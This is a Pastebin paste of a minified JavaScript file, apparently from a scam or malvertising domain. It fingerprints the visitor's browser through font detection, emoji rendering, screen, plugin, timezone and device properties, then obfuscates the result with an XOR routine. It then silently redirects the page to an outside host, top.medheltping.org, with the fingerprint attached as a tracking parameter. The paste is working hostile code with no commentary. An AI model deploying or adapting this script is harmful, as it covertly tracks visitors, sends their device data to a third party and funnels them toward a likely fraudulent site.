Advertisement
Guest User

215oursupport0501234.tk.js

a guest
Jan 9th, 2018
270
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var FontInspector = function() {
  2.     function n() {
  3.         var n = ("0000" + s.offsetWidth.toString(16)).substr(-4),
  4.             e = ("0000" + s.offsetHeight.toString(16)).substr(-4);
  5.         return e + n
  6.     }
  7.  
  8.     function e(n) {
  9.         for (var e = 0; e < f.length; e++)
  10.             if (f[e] == n) return !0;
  11.         return !1
  12.     }
  13.  
  14.     function t() {
  15.         s.innerHTML = p;
  16.         for (var e in u) s.style.fontFamily = u[e], c.appendChild(s), f.push(n()), c.removeChild(s);
  17.         l = !0
  18.     }
  19.  
  20.     function r(r) {
  21.         l || t(), s.style.fontFamily = r + "," + u, c.appendChild(s);
  22.         var i = !e(n());
  23.         return c.removeChild(s), i
  24.     }
  25.  
  26.     function i() {
  27.         var n = [];
  28.         for (var e in h) "blank" != h[e] ? n.push(r(h[e]) ? 1 : 0) : n.push(0);
  29.         var t = n.join(""),
  30.             i = ("0000000000000000" + parseInt(t, 2).toString(16)).substr(-16);
  31.         return i
  32.     }
  33.  
  34.     function o() {
  35.         s.innerHTML = "πŸ˜€πŸ€£πŸ€¨πŸ€₯πŸ‘ΆπŸ½πŸ‘¨πŸ½<200d>πŸŽ“πŸ€›πŸ™ŒπŸ§ πŸžπŸ₯§πŸ₯„πŸŽ°πŸŒͺπŸ–±γ€½Β©γ€°β„’β–ͺβ—Ό", s.style.fontFamily = u[0], c.appendChild(s);
  36.         var e = n();
  37.         return c.removeChild(s), e
  38.     }
  39.  
  40.     function a() {
  41.         for (var n in u) {
  42.             var e = document.createElement("span"),
  43.                 t = u[n];
  44.             e.innerHTML = p + " : " + t, e.style.fontFamily = t + "," + u, c.appendChild(e), c.appendChild(document.createElement("br"))
  45.         }
  46.         for (var n in h) {
  47.             var e = document.createElement("span"),
  48.                 t = h[n];
  49.             e.innerHTML = p + " : " + t, e.style.fontFamily = t + "," + u, c.appendChild(e), c.appendChild(document.createElement("br"))
  50.         }
  51.     }
  52.     var u = ["monospace", "sans-serif", "serif"],
  53.         c = document.getElementsByTagName("body")[0],
  54.         s = document.createElement("span");
  55.     s.style.fontSize = "75px", s.style.whiteSpace = "nowrap";
  56.     var f = [],
  57.         l = !1,
  58.         p = "BbEeIilLMmSsWwYy",
  59.         h = ["blank", "Dancing Script", "sans-serif-light", "sans-serif-condensed-light", "blank", "Zapfino", "Cochin", "sans-serif-black", "blank", "Cambria", "serif-monospace", "blank", "Damascus", "sans-serif-smallcaps", "Noto Serif", "Bookerly", "blank", "HelveticaNeue", "blank", "Avenir-Book", "ArialMT", "blank", "Microsoft Sans Serif", "blank", "Comic Sans", "Superclarendon-Regular", "Georgia", "Open Sans", "FreeSans", "Algerian", "Bookman Old Style", "Bitstream Vera Sans", "FreeSerif", "sans-serif-condensed", "AppleSDGothicNeo-Thin", "sans-serif-thin", "sans-serif-medium", "Droid Sans", "AppleColorEmoji", "Monospace", "Webdings", "TrebuchetMS", "Tahoma", "Roboto", "Lucida Console", "DejaVu Sans", "DBLCDTempBlack", "Calibri", "FreeMono", "Lucida", "casual", "blank", "Impact", "AlNile-Bold", "AmericanTypewriter", "Ubuntu", "Syncopate", "Liberation Serif", "blank", "Didot", "AcademyEngravedLetPlain", "Trebuchet", "OpenSymbol", "blank"];
  60.     this.fontExists = r, this.unicodeFingerprint = o, this.fontFingerprint = i, this.testFontList = a
  61. }, fi = new FontInspector;
  62. ! function(n, e, t, r, i, o, a) {
  63.     function u(n) {
  64.         function e(n) {
  65.             return (n < 16 ? "0" : "") + n.toString(16)
  66.         }
  67.         for (var t = "", r = 137, i = 0; i < n.length; ++i) {
  68.             var o = 170 ^ n.charCodeAt(i) ^ 255 & i;
  69.             r = r + o & 255, t += e(o)
  70.         }
  71.         return t += e(r)
  72.     }
  73.  
  74.     function c() {
  75.         function i(n) {
  76.             return "function" == typeof n || !1
  77.         }
  78.         var c, s = new Date,
  79.             f = [function() {
  80.                 return t.platform
  81.             }, function() {
  82.                 return "ontouchstart" in e || "onmsgesturechange" in e ? 1 : a
  83.             }, function() {
  84.                 return r.availWidth
  85.             }, function() {
  86.                 return r.availHeight
  87.             }, function() {
  88.                 return t.plugins && t.plugins.length || a
  89.             }, function() {
  90.                 return (e.ontouchstart + "")[0]
  91.             }, function() {
  92.                 return (e.onmsgesturechange + "")[0]
  93.             }, function() {
  94.                 return e.MSGesture ? 1 : a
  95.             }, function() {
  96.                 return e.innerWidth
  97.             }, function() {
  98.                 return e.innerHeight
  99.             }, function() {
  100.                 return s.getTimezoneOffset()
  101.             }, function() {
  102.                 return (new Date).getTime() - s.getTime()
  103.             }, function() {
  104.                 return t.buildID
  105.             }, function() {
  106.                 return t.cookieEnabled ? 1 : a
  107.             }, function() {
  108.                 return t.performance && t.performance.navigation && t.performance.navigation.redirectCount || a
  109.             }, function() {
  110.                 return t.performance && t.performance.navigation && t.performance.navigation.type || a
  111.             }, function() {
  112.                 return e.orientation
  113.             }, function() {
  114.                 return e.devicePixelRatio
  115.             }, function() {
  116.                 return t.vendor
  117.             }, function() {
  118.                 return r.pixelDepth
  119.             }, function() {
  120.                 return r.colorDepth
  121.             }, function() {
  122.                 return r.deviceXDPI
  123.             }, function() {
  124.                 return r.deviceYDPI
  125.             }, function() {
  126.                 return i(n.hasFocus) ? n.hasFocus() : a
  127.             }, function() {
  128.                 return i(n.getComputedStyle) ? 1 : a
  129.             }, function() {
  130.                 return e.history && i(e.history.pushState) ? 1 : a
  131.             }, function() {
  132.                 return r.width
  133.             }, function() {
  134.                 return r.height
  135.             }, function() {
  136.                 return o.unicodeFingerprint()
  137.             }, function() {
  138.                 return o.fontFingerprint()
  139.             }],
  140.             l = [];
  141.         for (c = 0; c < f.length; ++c) try {
  142.             l.push(f[c]())
  143.         } catch (n) {
  144.             l.push("!")
  145.         }
  146.         return u(l.join("\0"))
  147.     }
  148.     var s;
  149.     try {
  150.         s = c()
  151.     } catch (n) {
  152.         try {
  153.             s = u([0, n.message || n].join("\0"))
  154.         } catch (n) {
  155.             s = ""
  156.         }
  157.     }
  158.     e.location.replace(i + "&utm_content=" + s)
  159. }(document, window, navigator, screen, "http://top.medheltping.org/?utm_term=6509243595344579136&clickverify=1", fi);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement